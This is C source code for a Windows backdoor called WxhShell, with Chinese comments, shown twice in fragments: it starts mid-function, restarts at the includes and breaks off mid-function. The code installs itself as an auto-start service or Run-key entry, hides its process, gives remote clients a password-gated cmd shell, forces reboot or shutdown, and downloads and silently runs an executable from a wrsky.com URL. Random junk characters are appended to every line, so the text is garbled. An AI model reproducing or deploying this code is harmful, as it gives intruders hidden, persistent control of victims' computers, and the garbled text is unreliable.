    break; 0w OgQ n  
    } dso\+s  
  // 关机 zO!`sPP  
  case 'd': { A]R"C:o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |=7%Edkd  
    if(Boot(SHUTDOWN)) #'"h+[XY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |Q7Ch]G  
    else { >q]r)~8F^  
    closesocket(wsh); NMOTWA }2  
    ExitThread(0); xNjA>S\]W5  
    } fF>H7  
    break; 8_KXli}7=  
    } ."3 J;j  
  // 获取shell 5|AZ/!rb  
  case 's': { Ju:=-5r"'  
    CmdShell(wsh); dAga(<K  
    closesocket(wsh); 89WuxCFS  
    ExitThread(0); jkfI,T  
    break; 2wu 5`Z[E  
  } m@jOIt!<  
  // 退出 B:9Z ;g@&  
  case 'x': { &npf %Eub  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CNP?i(Rk  
    CloseIt(wsh); q.MM|;_u`  
    break; FmnA+fA  
    } xv1$,|^ts  
  // 离开 $'e.bh  
  case 'q': { QO|ODW+D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -'ZP_$sA  
    closesocket(wsh); |QHWX^pO  
    WSACleanup(); Q,jlKgB 5:  
    exit(1); w$2-t  
    break; \2~.r/`1  
        } sz}Nal$AC  
  } DNL TJrN  
  } _&yQW&vH#  
QAu^]1;  
  // 提示信息 D:){T>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HLk/C[`u,  
} O  89BN6p  
  } \)r#?qn4z;  
,(lD5iN  
  return; Q}I. UG_  
} ;M}bQ88  
H#6J7\xcS  
// shell模块句柄 !n !~Bw  
int CmdShell(SOCKET sock) />]/At  
{ }~\J7R'  
STARTUPINFO si; 4;%=ohD:!  
ZeroMemory(&si,sizeof(si)); ))eR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; js2?t~E]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aIkxN&  
PROCESS_INFORMATION ProcessInfo; p%j@2U  
char cmdline[]="cmd"; _gU [FUBtJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ih"f98lV  
  return 0; ^gv)[  
} ]jM D'vg^b  
KxiZx I  
// 自身启动模式 M"~B_t,Nw  
int StartFromService(void) 'd/A+W  
{ ;r8,Wx@f1C  
typedef struct ZVda0lex&  
{ 6`EyzB%.$  
  DWORD ExitStatus; 6~D:O?2  
  DWORD PebBaseAddress; C10A$=!  
  DWORD AffinityMask; \7W {/v4^  
  DWORD BasePriority; mB_ba1r  
  ULONG UniqueProcessId; W;j*lII  
  ULONG InheritedFromUniqueProcessId; qE(`@G  
}   PROCESS_BASIC_INFORMATION; @ /c{gD  
<y!6HJ"  
PROCNTQSIP NtQueryInformationProcess; h j9 b Mj  
x~KS;hA  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I /RvU,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (A"oMnjWd  
vW~_+:),e  
  HANDLE             hProcess; mb?yG:L=0b  
  PROCESS_BASIC_INFORMATION pbi; HaLEQ73  
A7ck-9dT/L  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6 0QElJ9D  
  if(NULL == hInst ) return 0; %#|S  
idz6m]{~yT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +)ro EJ_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Xa%Z0% {  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hydn" 9;  
-@AGQ+e  
  if (!NtQueryInformationProcess) return 0; 6`%}s3Xq  
r`6XF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8CMI\yk  
  if(!hProcess) return 0; QULrE+@  
C%G-Ye|@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W5sVQ`S-  
P]INYH  
  CloseHandle(hProcess); >YPfk=0f0  
Qg1LT8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2R.YHj  
if(hProcess==NULL) return 0; 4|x5-m+T  
>iaZGXje  
HMODULE hMod; - !7QH'  
char procName[255]; VSM%<-iQ  
unsigned long cbNeeded; |h8C}P&Z  
|1rBK.8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'gQm%:qU3r  
LP.-  
  CloseHandle(hProcess); =]"[?a >  
*:)#'cenI  
if(strstr(procName,"services")) return 1; // 以服务启动 sE]eIN  
`5h$@  
  return 0; // 注册表启动 `s@1'IG;R_  
} qAkx52v6  
_es>G'S  
// 主模块 Cf8(J k`v|  
int StartWxhshell(LPSTR lpCmdLine) YW>|gE  
{ 4dl?US[-  
  SOCKET wsl; Jd/ 5Kx  
BOOL val=TRUE; MI<hShc\  
  int port=0; {hVSVx8ZL  
  struct sockaddr_in door; DR^mT$  
H| IsjCc  
  if(wscfg.ws_autoins) Install(); rt t?4  
3Qn! `  
port=atoi(lpCmdLine); )FE'#\  
<@e6zQG  
if(port<=0) port=wscfg.ws_port; 0^tF_."Y  
F;`es%8  
  WSADATA data; )p ,-TtV  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hoeOdWI pf  
i^="*t\i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /C_O/N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;LthdY()n(  
  door.sin_family = AF_INET; &`t-[5O\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C+O`3wPZp  
  door.sin_port = htons(port); nn5S7!  
B.|2w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #S_LKc  
closesocket(wsl); (\#j3Y)r  
return 1; dzggl(  
} rJD>]3D5p  
V?5QpBK I  
  if(listen(wsl,2) == INVALID_SOCKET) { gXs@FhR0  
closesocket(wsl); u=k\]W-  
return 1; G;wv.|\  
} vg *+>lbA  
  Wxhshell(wsl); et/mfzV  
  WSACleanup(); 2{#*z%|z  
m6aoh^I  
return 0; -mcLT@  
Po93&qE  
} $;"@;Lj%,  
,_P(!7Z8  
// 以NT服务方式启动 ml\7JW6Rx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A~O 'l&KB  
{ 5|Vb)QBv%  
DWORD   status = 0; $kkdB,y  
  DWORD   specificError = 0xfffffff; F1gDeLmJ  
kax9RH vku  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {I`B?6K5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Iu%/~FgPj{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ApjLY58=  
  serviceStatus.dwWin32ExitCode     = 0; X!nI{PE  
  serviceStatus.dwServiceSpecificExitCode = 0; g)xzy^2e  
  serviceStatus.dwCheckPoint       = 0; Y==# yNwM  
  serviceStatus.dwWaitHint       = 0; SAly~(r?/  
I-&/]<5y  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Lp1wA*  
  if (hServiceStatusHandle==0) return; RhX 2qsva-  
TDy@Y> )  
status = GetLastError(); li,kW`j+t  
  if (status!=NO_ERROR) eAm7*2  
{ &Lk@Xq1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; eHd{'J<  
    serviceStatus.dwCheckPoint       = 0; [uZU p*.V  
    serviceStatus.dwWaitHint       = 0; />.&  
    serviceStatus.dwWin32ExitCode     = status; 7u o4F= %  
    serviceStatus.dwServiceSpecificExitCode = specificError; st/Tb/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); f}nGWV%,  
    return; (;C_>EL&u  
  } \MK)dj5uUJ  
3J%jD  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /O/u5P{J  
  serviceStatus.dwCheckPoint       = 0; z}OY'}sk8  
  serviceStatus.dwWaitHint       = 0; &!KJrQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wb/@~!+i`  
} rx|/]NE;  
JnV$)EYi  
// 处理NT服务事件,比如:启动、停止 ",Ek| z  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  //K]zu  
{ !Z<Z"R/  
switch(fdwControl) w[:5uo(  
{ ~O |j*T  
case SERVICE_CONTROL_STOP: tJ2l_M^  
  serviceStatus.dwWin32ExitCode = 0; 69O?sIk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <$,i Yx   
  serviceStatus.dwCheckPoint   = 0; -V_e=Y<J/  
  serviceStatus.dwWaitHint     = 0; P^VV8Z>\&  
  { HgduH::\#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "c1vW<;  
  }  2Np9*[C  
  return; 0z.`  
case SERVICE_CONTROL_PAUSE: x/bO;9E%U4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )u3<lpoTy  
  break; ww+XE2,  
case SERVICE_CONTROL_CONTINUE: bZERh:%o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PN+,M50;1  
  break; &{ntx~Eq  
case SERVICE_CONTROL_INTERROGATE: };29'_.."x  
  break; k&yy_r   
}; z4H!b+   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D-~HJ  
} j$N`JiKM  
|~#!e}L(  
// 标准应用程序主函数 }5zH3MPQH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cf@:rHB}  
{ h9g5W'.#  
7-6_`Q2}Y  
// 获取操作系统版本 $?wX*  
OsIsNt=GetOsVer(); #^xiv/ sV  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~wh8)rm  
~)sb\o  
  // 从命令行安装 AO>K 6{  
  if(strpbrk(lpCmdLine,"iI")) Install(); C0KP,JS&  
*kZJ  
  // 下载执行文件 [4PG_k[uTJ  
if(wscfg.ws_downexe) { vnXpC!1  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XW5r@:e  
  WinExec(wscfg.ws_filenam,SW_HIDE); &$< S1  
} mZMLDs:  
j"}alS`-  
if(!OsIsNt) { 7QQ1oPV  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~`8`kk8  
HideProc(); f<0-'fGJd  
StartWxhshell(lpCmdLine); CZ|Y o  
} X(g<rz1J]  
else  _U#ue  
  if(StartFromService()) ?6tuo:gP  
  // 以服务方式启动 T"dWrtO  
  StartServiceCtrlDispatcher(DispatchTable); ,f} s!>j  
else fvN2]@:  
  // 普通方式启动 is#?O5:2  
  StartWxhshell(lpCmdLine); |]\qI  
0#XZ_(@%  
return 0; Gq+!%'][P  
} ?}B_'NZ%  
4+ yd/^S  
#UI@<0P)  
'DRyOJnr  
=========================================== O_KL#xo  
_oe2 pL&  
*8X: fq  
:N%]<Mq  
o5 . q  
3 T& m  
" 0o(/%31]  
QJ>+!p*  
#include <stdio.h> g0_8:Gs}^  
#include <string.h> z4_>6sf{  
#include <windows.h> DFqXZfjm  
#include <winsock2.h> cp[4$lu  
#include <winsvc.h> H[!by)H  
#include <urlmon.h> m:X;dcq'3  
d&.)Dw  
#pragma comment (lib, "Ws2_32.lib") Rz*%(2Vz  
#pragma comment (lib, "urlmon.lib") ML Id3#Q  
0u)]1  
#define MAX_USER   100 // 最大客户端连接数  5Lm ?  
#define BUF_SOCK   200 // sock buffer >|uZIcs 6  
#define KEY_BUFF   255 // 输入 buffer m|=/|Hm  
a?\ Au  
#define REBOOT     0   // 重启 V4ayewVX  
#define SHUTDOWN   1   // 关机 Gi Zy C  
+r4^oT[-  
#define DEF_PORT   5000 // 监听端口 GZ*cV3Y`&  
viY _Y.Yjy  
#define REG_LEN     16   // 注册表键长度 F9-xp7 T  
#define SVC_LEN     80   // NT服务名长度 8Qek![3^  
RUSBJsMB  
// 从dll定义API ^EM##Ss_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k((_~<$2K  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z`q?pE>R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @/B&R^aVZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b.;F)(  
ks 3<zW(  
// wxhshell配置信息 %3'80u6BCJ  
struct WSCFG { e"[o2=v;5  
  int ws_port;         // 监听端口 V mKMj'  
  char ws_passstr[REG_LEN]; // 口令 n#bC ,  
  int ws_autoins;       // 安装标记, 1=yes 0=no QTtcGU  
  char ws_regname[REG_LEN]; // 注册表键名 ewY+a , t  
  char ws_svcname[REG_LEN]; // 服务名 U6n%rdXJ=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vSPkm)O0)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 umSbxEZU@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 co@Q   
int ws_downexe;       // 下载执行标记, 1=yes 0=no <_ddGg~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @<AyCaU`.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *,@dt+H!y  
] 6M- s  
}; F|%[s|s  
fZT=q^26  
// default Wxhshell configuration ^Shz[=fd  
struct WSCFG wscfg={DEF_PORT, w+*Jl}&\  
    "xuhuanlingzhe", nOp\43no  
    1, BWfsk/lej  
    "Wxhshell", WPpl9)Qc  
    "Wxhshell", }\P9$D+  
            "WxhShell Service", !NjC+ps]  
    "Wrsky Windows CmdShell Service", I tp7X  
    "Please Input Your Password: ", Lc0^I<Y  
  1, "P"~/<:)  
  "http://www.wrsky.com/wxhshell.exe", ?_}[@x  
  "Wxhshell.exe" MXSPD# gN  
    }; bC)d iC  
"*XR'9~7  
// 消息定义模块 L%U-MOS=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "4oY F:h  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ej8EQ% P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >&Y8VLcK  
char *msg_ws_ext="\n\rExit."; ]rXRon='  
char *msg_ws_end="\n\rQuit."; ;~#rd L  
char *msg_ws_boot="\n\rReboot..."; oG3>lqBwD2  
char *msg_ws_poff="\n\rShutdown..."; vfcj,1  
char *msg_ws_down="\n\rSave to "; UIovv%7zZ  
P*)}ENY  
char *msg_ws_err="\n\rErr!"; ^)D[ W(*  
char *msg_ws_ok="\n\rOK!"; _l{G Hz  
WFsa8qv  
char ExeFile[MAX_PATH]; NuLQkf)  
int nUser = 0; Y(-4Agq  
HANDLE handles[MAX_USER]; Y!Wz7 C  
int OsIsNt; Mw*R~OX  
[#M^:Q  
SERVICE_STATUS       serviceStatus; bAGQ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7M=`Z{=9  
)&;?|X+p  
// 函数声明 9JJ(KY  
int Install(void); ]fnc.^{  
int Uninstall(void); o!gl :izb  
int DownloadFile(char *sURL, SOCKET wsh); s+h`,gg9  
int Boot(int flag); BC 9rsb  
void HideProc(void); XGbtmmQG  
int GetOsVer(void); _U|s!60'  
int Wxhshell(SOCKET wsl); |Q?IV5%$  
void TalkWithClient(void *cs); pg [F{T<  
int CmdShell(SOCKET sock); xQ-]Iw5  
int StartFromService(void); -c~nmPEG6  
int StartWxhshell(LPSTR lpCmdLine); NoV)}fX$X8  
DnMfHG[<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @K3<K (  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); H YZ94[Ti  
- b:&ACY  
// 数据结构和表定义 B9&"/tT  
SERVICE_TABLE_ENTRY DispatchTable[] = 9~SfZ,(  
{ ~(~fuDT~O  
{wscfg.ws_svcname, NTServiceMain}, =*~]lz__M  
{NULL, NULL} B|/=E470G  
}; 27<~m=`}d  
Ma2sQW\  
// 自我安装 p. SEW5  
int Install(void) &S>m +m'  
{ V<ziJ7H/  
  char svExeFile[MAX_PATH]; am]$`7R5d  
  HKEY key; W}50E.\#  
  strcpy(svExeFile,ExeFile); Ze~^+ EE  
Rjqeuyj:  
// 如果是win9x系统,修改注册表设为自启动 jn&[=Y-  
if(!OsIsNt) { '+hiCX-_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qfd/t<?|D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Cb%?s  
  RegCloseKey(key); oe=^CeW"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4. 7m*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ypSW9n  
  RegCloseKey(key); 1(CpTaa  
  return 0; WV]Si2pOZ  
    } %oJ_,m_(  
  } se:]F/  
} EC<g7_0F  
else { 3P2H!r  
Gc^w,n[E  
// 如果是NT以上系统,安装为系统服务 qL/4mM0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z@nWx]iz  
if (schSCManager!=0) ODyK/Q3  
{ k1e0kxn  
  SC_HANDLE schService = CreateService "94e-Nx  
  ( kAsYh4[  
  schSCManager, f"\G"2C  
  wscfg.ws_svcname, (j@3=-%6G  
  wscfg.ws_svcdisp, D(yU:^L  
  SERVICE_ALL_ACCESS, PHU#$LG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bS=aFl#  
  SERVICE_AUTO_START, ] lE6:^V  
  SERVICE_ERROR_NORMAL, 3xj ?}o  
  svExeFile, JL5 )  
  NULL, Uo>pV 9xRG  
  NULL, 80TSE*  
  NULL, v9QR,b` n  
  NULL, pTT7#b(t  
  NULL /GCI`hx>"  
  ); %JF.m$-  
  if (schService!=0) !B5 }`*1D  
  { iG()"^G  
  CloseServiceHandle(schService); ~>2@55wElp  
  CloseServiceHandle(schSCManager); !C]0l  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TPEg>[  
  strcat(svExeFile,wscfg.ws_svcname); }pxMO? h$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e<2?O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `O4Ysk72x9  
  RegCloseKey(key); TUuw  
  return 0; ZV=O oL t,  
    } E%@,n9T~"  
  } 7D PKKvQ  
  CloseServiceHandle(schSCManager); ,Dd )=  
} `a2%U/U  
} SIQ7oxS4  
q$6fb)2I]e  
return 1; "Qj;pqR  
} 1AiqB Rs  
8@pY:AY  
// 自我卸载 Eh/B[u7T[  
int Uninstall(void) 6g06s @kz  
{ 7VQ|3`!<  
  HKEY key; \ <b-I  
}i0(^"SoXZ  
if(!OsIsNt) { !A!}j.s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JG\T2/b  
  RegDeleteValue(key,wscfg.ws_regname); "|ZC2Zu<  
  RegCloseKey(key); |+K3\b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M*li;  
  RegDeleteValue(key,wscfg.ws_regname); /D2 cY>  
  RegCloseKey(key); }QrBN:a$(  
  return 0; ~IrrX,mp:  
  } L@xag-b i  
} -]HPDN,OB  
} j:ze5FA+  
else { s~(!m. R  
 ntK#7(U'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0wL-Ak#v  
if (schSCManager!=0) 6^_:N1 @  
{ I.#V/{J  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n3Uw6gLD  
  if (schService!=0) %zDh07VT\  
  { aly1=j  
  if(DeleteService(schService)!=0) { ^~\cx75D  
  CloseServiceHandle(schService); >.'rN>B+  
  CloseServiceHandle(schSCManager); c4H5[LPF  
  return 0; _nW{Q-nh  
  } ' e @`HG  
  CloseServiceHandle(schService); {BB#Bh[  
  } 0* 7N=  
  CloseServiceHandle(schSCManager); 9HJrMX  
} K`}8fU   
} 36MqEUjyB  
4L<h% 'Zn  
return 1; za$v I?ux  
} _ zM/>Qa  
{-?^j{O0.  
// 从指定url下载文件 Nmu;+{19M  
int DownloadFile(char *sURL, SOCKET wsh) .&Tcds  
{ N<XS-XB,  
  HRESULT hr; v',%   
char seps[]= "/"; /*Xr^X6  
char *token; E d6k7  
char *file; e\o>(is  
char myURL[MAX_PATH]; }_,1i3Rip  
char myFILE[MAX_PATH]; W%$sA}O  
%#7NCdk;S  
strcpy(myURL,sURL); i b$2qy  
  token=strtok(myURL,seps); |KH981  
  while(token!=NULL) }C6RgE.6<  
  { abAX)R'  
    file=token; vq(ElXTO  
  token=strtok(NULL,seps); x$p_mWC  
  } S: b-+w|*  
MLVrL r t  
GetCurrentDirectory(MAX_PATH,myFILE); <<#j?%  
strcat(myFILE, "\\"); =]Gw9sge@  
strcat(myFILE, file); #>[BSgW  
  send(wsh,myFILE,strlen(myFILE),0); _6O\*|'6  
send(wsh,"...",3,0); 5SOl:{A +  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y+jOk6)W75  
  if(hr==S_OK) QY)hMo=|o8  
return 0; =H8 LBM  
else qukym3F  
return 1; g$CWGB*%lm  
xJ=@xfr$  
} ^}VAH#c  
x~ ;1CB  
// 系统电源模块 Uxll<z,  
int Boot(int flag) +c+i~5B4  
{ ;^yR,32F  
  HANDLE hToken; E$8 D^Zt  
  TOKEN_PRIVILEGES tkp; m@A?'gD  
)P|&o%E  
  if(OsIsNt) { 3$TU2-x;g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D=>[~u3H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7~f"8\  
    tkp.PrivilegeCount = 1; V DN@=/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \7\7i-Vo  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;5cN o&  
if(flag==REBOOT) { vGIe"$hNh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r9\7I7z  
  return 0; ,SVl>~!  
} IGKtugU%  
else { vGST{Lz;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) jeu|9{iTVu  
  return 0; ~R+,4  
} vAV{HBQ*  
  } 9$~a&lXO5  
  else { AuW-XK.  
if(flag==REBOOT) { Fk4T>8q2;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WL#E%6p[  
  return 0; !:^?GN#~x  
} QT<\E`v  
else { f6$$e+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \OlB (%E7  
  return 0; 9CNeMoA$p:  
} R?Ou=p .  
} >@ :m#d  
=^5,ua6  
return 1; {0Jpf[.f  
} J? 4E Hl  
R5b!Ao  
// win9x进程隐藏模块 2m8|0E|@  
void HideProc(void) j=U^+jAn  
{ Z !81\5  
bd$``(b`v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0e,U&B<W  
  if ( hKernel != NULL ) t(.jJ>|+*  
  { <aR sogu"P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x o{y9VS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s~tZN  
    FreeLibrary(hKernel); 7.W$6U5  
  } ahmxbv3f=5  
t`!@E#VK  
return; :|z.F+-/  
} &`LR{7m  
h(4&!x  
// 获取操作系统版本 k;~*8i=%,\  
int GetOsVer(void) ObzFh?W  
{ pH/_C0e`7  
  OSVERSIONINFO winfo; 8bf~uHAr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^U.t5jj  
  GetVersionEx(&winfo); PHh4ZFl]_I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bQ`|G(g-d  
  return 1; TOge!Q>a  
  else F`e o3z  
  return 0; \jCN ]A<  
}  JE=3V^k  
UV#DN`%n  
// 客户端句柄模块 mJYG k_ua  
int Wxhshell(SOCKET wsl) C.(<IcSG  
{ 0qSf7"3f  
  SOCKET wsh; \T:*tgU  
  struct sockaddr_in client; !M(3[(Ni  
  DWORD myID; 1Pp2wpD4iC  
" Z2D@l  
  while(nUser<MAX_USER) Gl]z@ZXWIw  
{ m.b}A'GT  
  int nSize=sizeof(client); \<kQ::o1y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3[cGSI"+  
  if(wsh==INVALID_SOCKET) return 1; u+Sj#iZ  
4SNDKFw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3:mZ1+  
if(handles[nUser]==0) /DGEI&}&:u  
  closesocket(wsh); T/nG\WZbZn  
else ^o-)y"GJ  
  nUser++; ~LU$ no^  
  } w^=uq3X?  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M=t;t0  
:\cid]y3  
  return 0; ,1e\}^  
} -& T.rsp  
r=cm(AHF  
// 关闭 socket 9?Q0O\&uP  
void CloseIt(SOCKET wsh) E(miQ   
{ ,(v=ZeI  
closesocket(wsh); r=Od%  
nUser--; '&<saqA  
ExitThread(0); D0*+7n3  
} &,%+rvo}  
%uQOAe55  
// 客户端请求句柄 (4Ha'uqz  
void TalkWithClient(void *cs) .:9XpKbt  
{ fI"OzIJV  
VxqoE]Dh  
  SOCKET wsh=(SOCKET)cs; +&*Ybbhb  
  char pwd[SVC_LEN]; D^<5gRK?  
  char cmd[KEY_BUFF]; I/k/5  
char chr[1]; |h%0)_  
int i,j; D&|HS!  
v:zKn[;o  
  while (nUser < MAX_USER) { `+]e}*7$f  
XgPZcOzYB  
if(wscfg.ws_passstr) { Rxl/)H[Lc"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6 vr8rJ-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N@3&e;y  
  //ZeroMemory(pwd,KEY_BUFF); Tr$37suF  
      i=0; 3hPp1wZd   
  while(i<SVC_LEN) { -Zfq:Kr  
`6FH@" |I  
  // 设置超时 +T8]R7b9  
  fd_set FdRead; B"3uuk8  
  struct timeval TimeOut; 0fAo&B  
  FD_ZERO(&FdRead); (RafidiH  
  FD_SET(wsh,&FdRead); abtYa  
  TimeOut.tv_sec=8; Q4B(NYEu(  
  TimeOut.tv_usec=0; H|I.h{:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n<3{QqF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ' )~G2Ys  
jm&PGZ#n=R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J5L[)Gd)D  
  pwd=chr[0]; aBT8mK -.  
  if(chr[0]==0xd || chr[0]==0xa) { B]wfDUG  
  pwd=0; dz,4);Mg  
  break; &.chqP(|  
  } ueu=$.^;g  
  i++; `(&GLv[i^2  
    } 5D<"kT  
+O?`uV  
  // 如果是非法用户,关闭 socket 4cZlQ3OE.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (Nn)_caVb  
} # |^yWw^  
'da$i  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ch7&9NW  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); LR% P\~  
?(E?oJ)(  
while(1) { jU!ibs}R3  
t6! B  
  ZeroMemory(cmd,KEY_BUFF); GK[[e~#u  
QB6. o6  
      // 自动支持客户端 telnet标准   6(-c$d`C.0  
  j=0; %Zi}sm1t  
  while(j<KEY_BUFF) { 3&5AbIZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [9,34/i  
  cmd[j]=chr[0]; my*E7[  
  if(chr[0]==0xa || chr[0]==0xd) { N51WY7  
  cmd[j]=0; YE[{Y(5;q  
  break; 9YVr9BM'K  
  } Dfw%Bu  
  j++; K(heeZUt  
    } [5wU0~>'  
o>MB8[r  
  // 下载文件 '$y.`/$  
  if(strstr(cmd,"http://")) { QR(j7>+J^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); '=1@,Skj-  
  if(DownloadFile(cmd,wsh)) y7-dae k  
